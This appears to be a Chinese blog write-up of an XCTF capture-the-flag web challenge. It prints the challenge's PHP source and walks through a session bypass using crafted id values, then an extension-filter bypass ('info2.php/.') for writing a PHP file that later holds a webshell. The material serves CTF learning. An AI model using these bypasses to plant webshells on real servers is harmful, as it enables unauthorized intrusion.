美文网首页
XCTF工控云管理系统项目管理页

XCTF工控云管理系统项目管理页

作者: doinb1517 | 来源:发表于2021-11-14 07:16 被阅读0次

工控云管理系统项目管理页面解析漏洞

题目描述

工控云管理系统项目管理页面解析漏洞

题解

题目页面很炫酷,尝试点击按钮发现出来”业务管理->项目管理“以外其他的都点不了

01.png 02.png

尝试随便输入数据,点击提交,发现没反应,但是这边可以查看源码,应该是代码审计的问题,有三部分php代码

<?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

第一部分简单重定向,直接访问index.php不带page参数就会重定向到?page=flag.php,下图可以清晰看到302重定向

03.png
<?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

这边就是一个文件上传漏洞,对文件名做了一定的过滤,严重通过以后,切换到uploaded目录下,写入backup/XXX,实际就是uploaded/backup/XXX

这里我尝试了很多方式上传,但是上传的文件很多都不能解析为php,也上传了.htaccess也无法解析,这边使用"/."绕过上传限制

  • con=<?php phpinfo();?>&file=info2.php/.
    
04.png

成功上传info2.php 也可以顺利执行,用这种方式再次写入一句话木马即可

<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

只要if (isset(_GET[id]) && floatval(_GET[id]) !== '1' && substr($_GET[id], -1) === '9')为True,而且下面的sql语句要正确执行,即可得到admin的session ,这边可以使用的方式有很多

* 使用 ; id=1;9
* 使用 # id=1%239
* 使用 --+  id=1--+9
* sql弱类型 id=1a9

floatval函数用于获取变量的浮点值。 : https://www.runoob.com/php/php-floatval-function.html

总结

  • Apache PHP解析漏洞
  • sql弱类型

相关文章

  • XCTF工控云管理系统项目管理页

    工控云管理系统项目管理页面解析漏洞 题目描述 工控云管理系统项目管理页面解析漏洞 题解 题目页面很炫酷,尝试点击按...

  • 项目管理系统

    项目管理系统是指用于管理项目的工具、技术、方法、资源和规程。项目管理系统在项目管理计划中予以规定,项目管理系统可以...

  • python---数据库设计的三大范式

    一 * * * * * 项目设计理念 ① 权限设计 后台管理系统 登陆页面 (用户包括 * 管理员 超级用户) 权...

  • 项目管理系统如何选择?

    项目管理系统如何选择? 项目管理系统是项目的管理者应用专门管理项目的系统软件,在有限的资源约束下,运用系统的观点、...

  • 项目管理系统哪家好?

    项目管理系统哪家好? 项目管理系统是协助企业高效管理企业项目的软件,使用合适的项目管理系统可以改变企业或公司原来...

  • 什么是项目管理系统?

    什么是项目管理系统?项目管理系统能做什么? 我相信这是很多对项目管理感兴趣或者需要在工作中应用到项目管理系统中的人...

  • 消防装备管理软件信息化建设依据及意义

    本项目方案是基于“消防装备云”管理系统方案整理而成,“消防装备云”消防装备管理系统由安徽凌讯网络有限公司多年技术研...

  • 一页A4纸就能管好项目?

    一页纸项目管理通过极简化的图表,把项目管理中的关键要素,压缩到一页A4纸的方法呈现出来。 一页纸项目管理包含:项目...

  • 项目管理系统的飘与落

    项目管理系统的飘 项目管理系统是现在很多组织都已经完成建设的重要项目管理工具,但是对于一个项目管理系统来说,大多数...

  • 基于vue2.0开发过程中遇到的问题

    首先、说一下自己的项目,这个项目开发过程中,我的主要工作是 :做后台管理系统以及app中的H5页面。做后台管理系统...

网友评论

      本文标题:XCTF工控云管理系统项目管理页

      本文链接:https://www.haomeiwen.com/subject/xtwnzltx.html